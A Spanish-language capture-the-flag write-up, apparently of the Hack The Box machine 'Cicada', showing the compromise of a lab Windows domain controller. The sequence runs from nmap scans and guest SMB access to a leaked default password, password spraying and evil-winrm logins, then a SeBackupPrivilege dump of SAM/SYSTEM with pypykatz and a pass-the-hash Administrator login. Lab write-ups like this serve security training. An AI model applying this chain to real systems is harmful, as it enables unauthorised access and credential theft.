❯ nmap -sS -Pn -n -vvv --open --min-rate 5000 10.10.11.35 -oG port
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
Puertos abiertos en el hosts.
❯ nmap -sCV -p53,88,135,139,389,445,464,636,3268,3269 10.10.11.35 -oN target.txt
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-23 17:06:25Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-04-23T17:07:12
|_ start_date: N/A
|_clock-skew: 2h17m48s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Versiones y servicios que corren para cada uno de esos puertos.
Enumeramos los recursos compartidos y comprobamos que tenemos permisos de lectura en 'HR' y en 'IPC$'.
smbclient
❯ smbclient //10.10.11.35/HR -U guest -p ""
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Mar 14 08:29:09 2024
.. D 0 Thu Mar 14 08:21:29 2024
Notice from HR.txt A 1266 Wed Aug 28 13:31:48 2024
4168447 blocks of size 4096. 481132 blocks available
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (8.8 KiloBytes/sec) (average 8.8 KiloBytes/sec)
smb: \>
Establecimos conexión con el recurso compartido al que teníamos acceso y descargamos el archivo encontrado.
Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to >
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
To change your password:
1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, a>
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex passw>
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
Con este comando estás intentando ver qué usuarios existen en esa máquina Windows, usando una cuenta sin contraseña (guest), --rid-brute: le decimos que intente descubrir qué usuarios existen en ese servidor. Lo hace probando diferentes números (RIDs) que cada cuenta en Windows tiene.
Empleando los usuarios recopilados, la contraseña de RRHH y nxc, llevamos a cabo un ataque de fuerza bruta que reveló credenciales válidas para un usuario.
Observamos que tenemos permisos de lectura sobre DEV.
❯ smbclient //10.10.11.35/DEV -U cicada.htb/david.orelious
Password for [CICADA.HTB\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 08:31:39 2024
.. D 0 Thu Mar 14 08:21:29 2024
Backup_script.ps1 A 601 Wed Aug 28 13:28:22 2024
4168447 blocks of size 4096. 478220 blocks available
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (4.3 KiloBytes/sec) (average 4.3 KiloBytes/sec)
smb: \> exit
❯ ls -l
.rw-r--r-- root root 601 B Wed Apr 23 11:48:11 2025 Backup_script.ps1
Probaremos de acceder con smbclient con las credenciales encontradas, comprobaremos que en el recurso hay un script .ps1 el cual procederemos a descargar en nuestro equipo local.
❯ evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd ..//Desktop
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> more user.txt
ef22a10a4bcc4b4c4b4afddfc3e40d7X
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop>
Nos conectamos y obtenemos la primera bandera.
🔐 SeBackupPrivilege
Este permiso significa que puedes hacer copias de seguridad de archivos, incluso si no tienes permisos normales de lectura sobre ellos.
En pocas palabras:
Tienes permiso especial para leer cualquier archivo del sistema, aunque no seas el dueño ni tengas permisos tradicionales.
Este privilegio es muy útil para escalar privilegios o robar información, porque te permite, por ejemplo:
Leer archivos protegidos como el SAM, SYSTEM o SECURITY (que contienen las contraseñas de Windows).
Logramos usar un permiso especial (SeBackupPrivilege) para crear copias de seguridad de dos archivos importantes del sistema (SAM y SYSTEM), que contienen las contraseñas locales de los usuarios en forma encriptada. Luego descargamos esos archivos a la máquina, lo cual te permitirá extraer (dumpear) los hashes de las contraseñas y crackearlos localmente, sin necesidad de más privilegios en la máquina víctima.
Con la herramienta de pypykatz procederemos a extraer los hashes NTLM de la SAM.
pypykatz registry --sam SAM system
Nos conectamos haciendo uso del hash de Administrator y tenemos la ultima bandera maquina resuelta.